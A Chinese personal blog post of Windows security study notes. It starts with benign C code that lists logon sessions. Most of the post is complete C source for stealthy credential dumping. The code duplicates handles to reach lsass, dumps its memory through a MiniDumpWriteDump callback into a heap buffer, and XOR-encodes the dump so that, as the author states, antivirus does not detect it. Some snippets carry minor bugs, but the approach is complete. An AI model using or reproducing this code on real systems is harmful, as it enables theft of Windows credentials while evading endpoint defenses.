0%

Windows安全学习随笔

0x1 前言

​ 许久不写博客,甚至已经有些忘记格式该是如何的,本篇博文用于记录我在学习Windows安全时的一些知识点。

0x2 实例Demo

0x01 LogonSessionList获取活动会话信息


​ 利用LogonSessionList结构我们可以读取系统内当前活动会话之信息,若用户尚未登陆,则无法通过此结构读取检测到用户的Session,因为系统内这时并没有与该用户关联的活动登录会话。

​ 同时,当用户注销会话后,我们也不可通过此结构获取其信息。

​ 导出LogonSessionList我们可以使用LsaEnumerateLogonSessions函数获取其数组指针,随后通过LsaGetLogonSessionData 函数读取其中的结构。

1
2
3
4
5
6
7
8
9
10
NTSTATUS LsaEnumerateLogonSessions(
[out] PULONG LogonSessionCount,
[out] PLUID *LogonSessionList
);


NTSTATUS LsaGetLogonSessionData(
[in] PLUID LogonId,
[out] PSECURITY_LOGON_SESSION_DATA *ppLogonSessionData
);

其中,我们需要SECURITY_LOGON_SESSION_DATA结构内的信息,其结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
typedef struct _SECURITY_LOGON_SESSION_DATA {
ULONG Size;
LUID LogonId;
LSA_UNICODE_STRING UserName;
LSA_UNICODE_STRING LogonDomain;
LSA_UNICODE_STRING AuthenticationPackage;
ULONG LogonType;
ULONG Session;
PSID Sid;
LARGE_INTEGER LogonTime;
LSA_UNICODE_STRING LogonServer;
LSA_UNICODE_STRING DnsDomainName;
LSA_UNICODE_STRING Upn;
ULONG UserFlags;
LSA_LAST_INTER_LOGON_INFO LastLogonInfo;
LSA_UNICODE_STRING LogonScript;
LSA_UNICODE_STRING ProfilePath;
LSA_UNICODE_STRING HomeDirectory;
LSA_UNICODE_STRING HomeDirectoryDrive;
LARGE_INTEGER LogoffTime;
LARGE_INTEGER KickOffTime;
LARGE_INTEGER PasswordLastSet;
LARGE_INTEGER PasswordCanChange;
LARGE_INTEGER PasswordMustChange;
} SECURITY_LOGON_SESSION_DATA, *PSECURITY_LOGON_SESSION_DATA;

​ 我们可以通过for循环的方式将相关信息遍历导出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include<windows.h>
#include<stdio.h>
#include<iostream>
#include<NTSecAPI.h>
#include<tchar.h>

#pragma comment(lib,"Secur32.lib")


int main(int argc, char* argv[]) {
ULONG LogonSessionCount;
PLUID LogonSessionList;
PSECURITY_LOGON_SESSION_DATA pLogonSessionData;
NTSTATUS status;

//分配内存
pLogonSessionData = (PSECURITY_LOGON_SESSION_DATA)malloc(sizeof(SECURITY_LOGON_SESSION_DATA));

status = LsaEnumerateLogonSessions(&LogonSessionCount, &LogonSessionList);
if (status != ERROR_SUCCESS) {
printf("LsaEnumrateLogonSessions ErrorCode:%u\r\n", GetLastError());
return 0;
}
//读取现存有效session数
printf("SessionCount %d\r\n", LogonSessionCount);
//成功导出sessioncount 枚举每个session username
for (int i = 0; i < LogonSessionCount; i++) {
LsaGetLogonSessionData(LogonSessionList + i, &pLogonSessionData);
_tprintf("%ws\\%ws\r\n", pLogonSessionData->LogonDomain,pLogonSessionData->UserName.Buffer);
}
LsaFreeReturnBuffer(pLogonSessionData);

return 0;
}

效果如下:

image-20230307105906988

0x02 间接获取进程句柄,回调函数加密lsass规避杀软


​ 随着技术的发展,杀软对lsass等进程句柄的获取有了更加严格的监控,下面我们将使用NtDuplicateObject间接获取进程句柄,避免告警。

0x001大体流程:
  1. 获得SeDebugPrivilege调试权限。
  2. 使用NtQuerySystemInformation获取所有进程打开的句柄
  3. 利用OpenProcess获取具有PROCESS_DUP_HANDLE权限的句柄
  4. 使用NtduplicateObject来Copy获取上述句柄的副本
  5. 通过NtQueryObject查询句柄信息,筛选出类型为Process的句柄
  6. 通过QueryFullProcessimageName判断进程是否为lsass的句柄
0x002函数、结构原型:
NtQueryObject
1
2
3
4
5
6
7
typedef NTSTATUS (NTAPI* NtQueryObject)(
IN OPTIONAL HANDLE Handle,
IN OBJECT_INFORMATION_CLASS ObjectInformationClass,
OUT OPTIONAL PVOID ObjectInformation,
IN ULONG ObjectInformationLength,
OUT OPTIONAL PULONG ReturnLength
);
NtQuerySystemInformation
1
2
3
4
5
6
typedef NTSTATUS (NTAPI* NtQuerySystemInformation)(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT OPTIONAL PULONG ReturnLength
);
NtDuplicateObject
1
2
3
4
5
6
7
8
9
10
typedef NTSTATUS(NTAPI* NtDuplicateObject)(
HANDLE SourceProcessHandle,
HANDLE SourceHandle,
HANDLE TargetProcessHandle,
PHANDLE TargetHandle,
ACCESS_MASK DesiredAccess,
ULONG Attributes,
ULONG Options
);

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct _SYSTEM_HANDLE {
ULONG ProcessId;
BYTE ObjectTypeNumber;
BYTE Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG HandleCount; //Handle counts
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
0x003流程分析:

​ 获取Debug权限的操作,我们暂且略过,从第二步如何使用NtQuerySystemInformation获取系统内句柄信息开始演示.

获取函数地址,其余Nt函数流程大体一致

1
2
3
4
5
6
HMODULE hModule = GetModuleHandle("ntdll.dll");
pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(hModule, "NtQuerySystemInformation");
if (!NtQuerySystemInformation) {
printf("NtQuerySystemInformation get address failed %d\r\n",GetLastError());
return 0;
}

获取系统内的句柄信息

​ 提前申请SYSTEM_HANDLE_INFORMATION内存空间,使用while循环判断执行结果,若ReturnLength不足,函数会将缓冲区所需的大小返回至ReturnLength当中,继续循环申请内存直至成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PVOID SysInfo;
PSYSTEM_HANDLE_INFORMATION HandleInfo;
ULONG ReturnLength = 0;
NTSTATUS status;

while ((status = NtQuerySystemInformation(
SystemHandleInformation,
HandleInfo,
ReturnLength,
&ReturnLength
)) == STATUS_INFO_LENGTH_MISMATCH)
HandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(HandleInfo, ReturnLength *= 2);
if (!NT_SUCCESS(status)) {
printf("NtQuerySystemInformation Failed:%u\r\n", GetLastError());
return 0;
}

if (!NT_SUCCESS(status)) {
printf("NtQuerySystemInformation Failed:%u\r\n", GetLastError());
return 0;
}

筛选进程句柄

用到的结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
typedef struct _SYSTEM_HANDLE {
ULONG ProcessId;//进程id
BYTE ObjectTypeNumber;
BYTE Flags;
USHORT Handle; //句柄的USHOT形式,若要使用,可利用(Void*)进行强转
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;


typedef struct __OBJECT_TYPE_INFORMATION {
UNICODE_STRING TypeName; //获得该对象的类型名的UNICODE_STRING
ULONG TotalNumberOfObjects;
ULONG TotalNumberOfHandles;
ULONG TotalPagedPoolUsage;
ULONG TotalNonPagedPoolUsage;
ULONG TotalNamePoolUsage;
ULONG TotalHandleTableUsage;
ULONG HighWaterNumberOfObjects;
ULONG HighWaterNumberOfHandles;
ULONG HighWaterPagedPoolUsage;
ULONG HighWaterNonPagedPoolUsage;
ULONG HighWaterNamePoolUsage;
ULONG HighWaterHandleTableUsage;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccessMask;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
UCHAR TypeIndex;
CHAR Reserved;
ULONG PoolType;
ULONG DefaultPagedPoolCharge;
ULONG DefaultNonPagedPoolCharge;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;

​ 利用for循环,遍历存储于SYSTEM_HANDLE_INFORMATION结构中的句柄信息,使用OpenProcess打开一个具有PROCESS_DUP_HANDLEPROCESS_QUERY_LIMITED_INFORMATION权限的进程句柄,为避免杀软检测,我们并不能直接使用系统中存在的这份句柄,我们需要使用NtDuplicateObject函数copy一份该进程的句柄以供我们使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
SYSTEM_HANDLE sysHandle;
HANDLE hProcess=NULL, Duplitehandle=NULL,targetHandle=NULL;
NTSTATUS status;
POBJECT_TYPE_INFORMATION objectTypeInfo;

for (int index=1; index < HandleInfo->HandleCount; index++) {
//printf("Handle ProcessId:%d\r\n", HandleInfo->Handles[index].ProcessId);
if (HandleInfo->Handles[index].ProcessId == 4)
continue;

sysHandle = HandleInfo->Handles[index];
hProcess = OpenProcess(PROCESS_DUP_HANDLE|PROCESS_QUERY_LIMITED_INFORMATION, false, sysHandle.ProcessId);
if (!hProcess) {
continue;
}

//try to copy handle
status = NtDuplicateObject(hProcess, (void*)sysHandle.Handle,GetCurrentProcess(), &Duplitehandle, PROCESS_VM_READ|PROCESS_QUERY_INFORMATION, NULL, NULL);
if (!NT_SUCCESS(status)) {
/*printf("DupliteHandle Failed of the pid:%d\r\n", sysHandle.ProcessId);*/
continue;
}
//Query handle info
ReturnLength = 0; //Reset ReturnLength
while ((status = NtQueryObject(
Duplitehandle,
ObjectTypeInformation,
objectTypeInfo,
ReturnLength,
&ReturnLength)) == STATUS_INFO_LENGTH_MISMATCH) {
objectTypeInfo = (POBJECT_TYPE_INFORMATION)realloc(objectTypeInfo, ReturnLength * 2);
}
if (!objectTypeInfo) {
printf("could not get the handle information\r\n");
continue;
}

wchar_t path[255];

DWORD buffSize = 255;

}

​ 此处我们使用wcscmp函数查找ObjectTypeInfo的TypeName.buffer出现Process关键字的句柄,若存在进入下一层判断,利用QueryFullProcessImageName查找进程名等信息,进而使用wcsstr函数查找出现该关键字的进程,并利用targetHandleProcessID变量将复制的句柄、lsass进程的PID保存。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
wchar_t path[255];

DWORD buffSize = 255;

if (wcscmp(L"Process", objectTypeInfo->TypeName.Buffer) == 0) {
//查找进程名等信息
if (!QueryFullProcessImageName(Duplitehandle, 0, path, &buffSize)) {
printf("QueryFullProcessImagenameW Failed,ErrorCode:%d\r\n", GetLastError());
}
else
{
if (wcsstr(path,L"lsass") != NULL) {
printf("[+] Found the Process Handle ,%d\r\n", sysHandle.ProcessId);
targetHandle = Duplitehandle;
ProcessID = sysHandle.ProcessId;
}
}
}

MiniDumpCallBack

​ 触发回调之后,通过RtlCopyMemoryLsass进程内的内容存到堆指针dumpBuffer所指向的堆空间当中;触发回调函数时,利用全局变量bytesRead获得我们已转储的lsass进程内存内容的大小,利用callbackInput->Io.Offset以及callbackInput->Io.BufferBytes获取每次我们读取内存内容的开始位置以及大小。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

//Apply for the Buffer for saving Lsass dump file
LPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 70); //Alloction 70m
DWORD bytesRead = 0;


BOOL CALLBACK minidumpCallback(__in PVOID callbackParam,__in const PMINIDUMP_CALLBACK_INPUT callbackInput,__inout PMINIDUMP_CALLBACK_OUTPUT callbackOutput)
{
LPVOID Destination=0, Source=0;
DWORD bufferSize = 0;

switch (callbackInput->CallbackType)
{
//Triggering Write CallbackFunc
case IoStartCallback:
callbackOutput->Status = S_FALSE;
break;
case IoWriteAllCallback:
callbackOutput->Status = S_OK;

//抓取触发回调后 读取lsass 要被dump的内存内容
Source = callbackInput->Io.Buffer;
//计算存储这部分内容的位置 堆的基地址+lsass转储内存内容的开始偏移
Destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);

//上面被读取的小块内容的大小
bufferSize = callbackInput->Io.BufferBytes;
bytesRead += bufferSize;
//向堆中写入lsass的小块内容
RtlCopyMemory(Destination, Source, bufferSize);
//printf("[+]Minidump offset %x,content length:%x\r\n", callbackInput->Io.Offset, callbackInput->Io.BufferBytes);
printf("[+] Io.Offset %x\r\n", callbackInput->Io.Offset);
break;
case IoFinishCallback:
callbackOutput->Status = S_OK;
break;



default:
return true;
}
return true;
}
0x004完整源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
#include<Windows.h>
#include<stdio.h>
#include<tchar.h>
#include<iostream>
#include<ProcessSnapshot.h>
#include<DbgHelp.h>





#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
#define NT_SUCCESS(x) ((x) >= 0)
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")
#pragma comment (lib,"Dbghelp.lib")

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemProcessorInformation = 1,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemPathInformation = 4,
SystemProcessInformation = 5,
SystemCallCountInformation = 6,
SystemDeviceInformation = 7,
SystemProcessorPerformanceInformation = 8,
SystemFlagsInformation = 9,
SystemCallTimeInformation = 10,
SystemModuleInformation = 11,
SystemLocksInformation = 12,
SystemStackTraceInformation = 13,
SystemPagedPoolInformation = 14,
SystemNonPagedPoolInformation = 15,
SystemHandleInformation = 16,
SystemObjectInformation = 17,
SystemPageFileInformation = 18,
SystemVdmInstemulInformation = 19,
SystemVdmBopInformation = 20,
SystemFileCacheInformation = 21,
SystemPoolTagInformation = 22,
SystemInterruptInformation = 23,
SystemDpcBehaviorInformation = 24,
SystemFullMemoryInformation = 25,
SystemLoadGdiDriverInformation = 26,
SystemUnloadGdiDriverInformation = 27,
SystemTimeAdjustmentInformation = 28,
SystemSummaryMemoryInformation = 29,
SystemNextEventIdInformation = 30,
SystemEventIdsInformation = 31,
SystemCrashDumpInformation = 32,
SystemExceptionInformation = 33,
SystemCrashDumpStateInformation = 34,
SystemKernelDebuggerInformation = 35,
SystemContextSwitchInformation = 36,
SystemRegistryQuotaInformation = 37,
SystemExtendServiceTableInformation = 38,
SystemPrioritySeperation = 39,
SystemVerifierAddDriverInformation = 40,
SystemVerifierRemoveDriverInformation = 41,
SystemProcessorIdleInformation = 42,
SystemLegacyDriverInformation = 43,
SystemCurrentTimeZoneInformation = 44,
SystemLookasideInformation = 45,
SystemTimeSlipNotification = 46,
SystemSessionCreate = 47,
SystemSessionDetach = 48,
SystemSessionInformation = 49,
SystemRangeStartInformation = 50,
SystemVerifierInformation = 51,
SystemVerifierThunkExtend = 52,
SystemSessionProcessInformation = 53,
SystemLoadGdiDriverInSystemSpace = 54,
SystemNumaProcessorMap = 55,
SystemPrefetcherInformation = 56,
SystemExtendedProcessInformation = 57,
SystemRecommendedSharedDataAlignment = 58,
SystemComPlusPackage = 59,
SystemNumaAvailableMemory = 60,
SystemProcessorPowerInformation = 61,
SystemEmulationBasicInformation = 62,
SystemEmulationProcessorInformation = 63,
SystemExtendedHandleInformation = 64,
SystemLostDelayedWriteInformation = 65,
SystemBigPoolInformation = 66,
SystemSessionPoolTagInformation = 67,
SystemSessionMappedViewInformation = 68,
SystemHotpatchInformation = 69,
SystemObjectSecurityMode = 70,
SystemWatchdogTimerHandler = 71,
SystemWatchdogTimerInformation = 72,
SystemLogicalProcessorInformation = 73,
SystemWow64SharedInformationObsolete = 74,
SystemRegisterFirmwareTableInformationHandler = 75,
SystemFirmwareTableInformation = 76
} SYSTEM_INFORMATION_CLASS, * PSYSTEM_INFORMATION_CLASS;

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef LONG KPRIORITY;
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
UNICODE_STRING ImageName;
KPRIORITY BasePriority;
HANDLE UniqueProcessId;
PVOID Reserved2;
ULONG HandleCount;
ULONG SessionId;
PVOID Reserved3;
SIZE_T PeakVirtualSize;
SIZE_T VirtualSize;
ULONG Reserved4;
SIZE_T PeakWorkingSetSize;
SIZE_T WorkingSetSize;
PVOID Reserved5;
SIZE_T QuotaPagedPoolUsage;
PVOID Reserved6;
SIZE_T QuotaNonPagedPoolUsage;
SIZE_T PagefileUsage;
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved7[6];
} SYSTEM_PROCESS_INFORMATION;

typedef struct _SYSTEM_HANDLE {
ULONG ProcessId;
BYTE ObjectTypeNumber;
BYTE Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG HandleCount;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef enum _OBJECT_INFORMATION_CLASS {
ObjectBasicInformation,
ObjectNameInformation,
ObjectTypeInformation,
ObjectAllTypesInformation,
ObjectHandleInformation,

ObjectTypesInformation,
ObjectDataInformation
}OBJECT_INFORMATION_CLASS, * POBJECT_INFORMATION_CLASS;

typedef NTSTATUS (NTAPI* pNtQueryObject)(
IN OPTIONAL HANDLE Handle,
IN OBJECT_INFORMATION_CLASS ObjectInformationClass,
OUT OPTIONAL PVOID ObjectInformation,
IN ULONG ObjectInformationLength,
OUT OPTIONAL PULONG ReturnLength
);



typedef NTSTATUS (NTAPI* pNtQuerySystemInformation)(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT OPTIONAL PULONG ReturnLength
);



typedef struct __OBJECT_TYPE_INFORMATION {
UNICODE_STRING TypeName;
ULONG TotalNumberOfObjects;
ULONG TotalNumberOfHandles;
ULONG TotalPagedPoolUsage;
ULONG TotalNonPagedPoolUsage;
ULONG TotalNamePoolUsage;
ULONG TotalHandleTableUsage;
ULONG HighWaterNumberOfObjects;
ULONG HighWaterNumberOfHandles;
ULONG HighWaterPagedPoolUsage;
ULONG HighWaterNonPagedPoolUsage;
ULONG HighWaterNamePoolUsage;
ULONG HighWaterHandleTableUsage;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccessMask;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
UCHAR TypeIndex;
CHAR Reserved;
ULONG PoolType;
ULONG DefaultPagedPoolCharge;
ULONG DefaultNonPagedPoolCharge;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;

typedef NTSTATUS(NTAPI* pNtDuplicateObject)(
HANDLE SourceProcessHandle,
HANDLE SourceHandle,
HANDLE TargetProcessHandle,
PHANDLE TargetHandle,
ACCESS_MASK DesiredAccess,
ULONG Attributes,
ULONG Options
);


typedef NTSTATUS (NTAPI* pRtlAdjustPrivilege)(
ULONG Privilege,
BOOLEAN Enable,
BOOLEAN CurrentThread,
PBOOLEAN Enabled
);


//Apply for the Buffer for saving Lsass dump file
LPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 70); //Alloction 70m
DWORD bytesRead = 0;


DWORD FindProcHandle();


BOOL EnableSeDebugPrivilege(BOOL fEnable, HANDLE& hToken);
int main() {
BOOLEAN enabled;
if (RtlAdjustPrivilege == NULL) {
printf("Not Found pRtlAdjustPrivilege Func,ErrorCode:%u\r\n", GetLastError());
return 0;
}


HANDLE hToken = NULL, PrimaryToken = NULL;



if (EnableSeDebugPrivilege(true, hToken))
printf("SeDebugPrivilege success\r\n");
else
printf("SedebugPrivilege failed\r\n");


DWORD pid = FindProcHandle();

return 0;
}

BOOL CALLBACK minidumpCallback(__in PVOID callbackParam,__in const PMINIDUMP_CALLBACK_INPUT callbackInput,__inout PMINIDUMP_CALLBACK_OUTPUT callbackOutput)
{
LPVOID Destination=0, Source=0;
DWORD bufferSize = 0;

switch (callbackInput->CallbackType)
{
//Triggering Write CallbackFunc
case IoStartCallback:
callbackOutput->Status = S_FALSE;
break;
case IoWriteAllCallback:
callbackOutput->Status = S_OK;

//抓取触发回调后 读取lsass 要被dump的内存内容
Source = callbackInput->Io.Buffer;
//计算存储这部分内容的位置 堆的基地址+lsass转储内存内容的开始偏移
Destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);

//上面被读取的小块内容的大小
bufferSize = callbackInput->Io.BufferBytes;
bytesRead += bufferSize;
//向堆中写入lsass的小块内容
RtlCopyMemory(Destination, Source, bufferSize);
//printf("[+]Minidump offset %x,content length:%x\r\n", callbackInput->Io.Offset, callbackInput->Io.BufferBytes);
printf("[+] Io.Offset %x\r\n", callbackInput->Io.Offset);
break;
case IoFinishCallback:
callbackOutput->Status = S_OK;
break;



default:
return true;
}
return true;
}


BOOL EnableSeDebugPrivilege(BOOL fEnable, HANDLE& hToken)
{

BOOL fok = FALSE;


if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{

TOKEN_PRIVILEGES tp;//结构体,表示令牌权限

//只启动调试权限,所以权限的个数是一个
tp.PrivilegeCount = 1;

LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

//下面一句话,在tp.Privilege[0].Attributes属性中,设置是开启这个权限还是关闭这个权限
tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;

AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);


fok = (GetLastError() == ERROR_SUCCESS);
}
return fok;
}



DWORD FindProcHandle()
{
HANDLE hProcess=NULL, Duplitehandle=NULL,targetHandle=NULL;
HMODULE hModule = GetModuleHandle(L"ntdll.dll");


PVOID SysInfo;
PSYSTEM_HANDLE_INFORMATION HandleInfo=nullptr;
SYSTEM_HANDLE sysHandle;
POBJECT_TYPE_INFORMATION objectTypeInfo=nullptr;
ULONG ReturnLength=0;
DWORD index = 1,ProcessID=0;
NTSTATUS status;

pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(hModule, "NtQuerySystemInformation");
if (!NtQuerySystemInformation) {
printf("NtQuerySystemInformation get address failed %d\r\n",GetLastError());
return 0;
}
pNtDuplicateObject NtDuplicateObject = (pNtDuplicateObject)GetProcAddress(hModule, "NtDuplicateObject");
if (!NtDuplicateObject) {
printf("NtDumplicateObject get address failed %d\r\n",GetLastError());
return 0;
}
pNtQueryObject NtQueryObject = (pNtQueryObject)GetProcAddress(hModule, "NtQueryObject");
if (!NtQueryObject) {
printf("NtQueryObject get address failed %d\r\n",GetLastError());
return 0;
}

//get processinformation
//HandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(0x10000);
while ((status = NtQuerySystemInformation(
SystemHandleInformation,
HandleInfo,
ReturnLength,
&ReturnLength
)) == STATUS_INFO_LENGTH_MISMATCH)
HandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(HandleInfo, ReturnLength *= 2);
if (!NT_SUCCESS(status)) {
printf("NtQuerySystemInformation Failed:%u\r\n", GetLastError());
return 0;
}
for (; index < HandleInfo->HandleCount; index++) {
//printf("Handle ProcessId:%d\r\n", HandleInfo->Handles[index].ProcessId);
if (HandleInfo->Handles[index].ProcessId == 4)
continue;

sysHandle = HandleInfo->Handles[index];
hProcess = OpenProcess(PROCESS_DUP_HANDLE|PROCESS_QUERY_LIMITED_INFORMATION, false, sysHandle.ProcessId);
if (!hProcess) {
continue;
}

//try to copy handle
status = NtDuplicateObject(hProcess, (void*)sysHandle.Handle,GetCurrentProcess(), &Duplitehandle, PROCESS_VM_READ|PROCESS_QUERY_INFORMATION, NULL, NULL);
if (!NT_SUCCESS(status)) {
continue;
}

ReturnLength = 0;
while ((status = NtQueryObject(
Duplitehandle,
ObjectTypeInformation,
objectTypeInfo,
ReturnLength,
&ReturnLength)) == STATUS_INFO_LENGTH_MISMATCH) {
objectTypeInfo = (POBJECT_TYPE_INFORMATION)realloc(objectTypeInfo, ReturnLength * 2);
}
if (!objectTypeInfo) {
printf("could nt get the handle information %d\r\n",GetLastError());
continue;
}

wchar_t path[255];

DWORD buffSize = 255;

if (wcscmp(L"Process", objectTypeInfo->TypeName.Buffer) == 0) {
//查找进程名等信息
if (!QueryFullProcessImageName(Duplitehandle, 0, path, &buffSize)) {
printf("QueryFullProcessImagenameW Failed,ErrorCode:%d\r\n", GetLastError());
}
else
{
if (wcsstr(path,L"lsass") != NULL) {
printf("[+] Found the Process Handle ,%d\r\n", sysHandle.ProcessId);
targetHandle = Duplitehandle;
ProcessID = sysHandle.ProcessId;
}
}
}

}




//try to get the process dump file
HANDLE hFile = CreateFile(L"C:\\users\\86156\\desktop\\mini.dmp", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (!hFile) {
printf("CreateFile ErrorCode:%u\r\n", GetLastError());
return false;
; }

//Set up minidump callback
MINIDUMP_CALLBACK_INFORMATION callbackInfo;
ZeroMemory(&callbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));
callbackInfo.CallbackRoutine = &minidumpCallback;
callbackInfo.CallbackParam = NULL;

boolean isDumped = MiniDumpWriteDump(targetHandle, ProcessID, NULL, MiniDumpWithFullMemory, NULL, NULL,&callbackInfo );
if (isDumped) {
printf("Dump Process Memory Context to heap success\r\n");
/*WriteFile(hFile, dumpBuffer, bytesRead, &bytesRead, NULL); */
//printf("Size = %x\r\n", *((char*)dumpBuffer+3)^'a'^'a');
DWORD strLeng = 1;
for (int i = 0; i < bytesRead; i++) {
char str = *((char*)dumpBuffer + i) ^ 'a' ;
LPVOID lpStr = &str;
WriteFile(hFile, lpStr, strLeng, &strLeng, NULL);
}

}
else {
printf("%d\r\n",GetLastError());
}
CloseHandle(hFile);
free(dumpBuffer);
CloseHandle(hProcess);
CloseHandle(Duplitehandle);
CloseHandle(targetHandle);

return 0;
}

0x3参考文章

1
2
3
https://tttang.com/archive/1810/#toc_ntduplicateobject
https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649751822&idx=3&sn=d8a0d685152418e7b8a6abf532365aa2&chksm=88933161bfe4b87759a0483aeb25c6bc82d098b7d98209b6cd482b3c5bd845aec349df30ae57#rd
https://loong716.top/posts/lsass/

0x4 声明

1
我的博客即将同步至腾讯云开发者社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=59q74len4fdq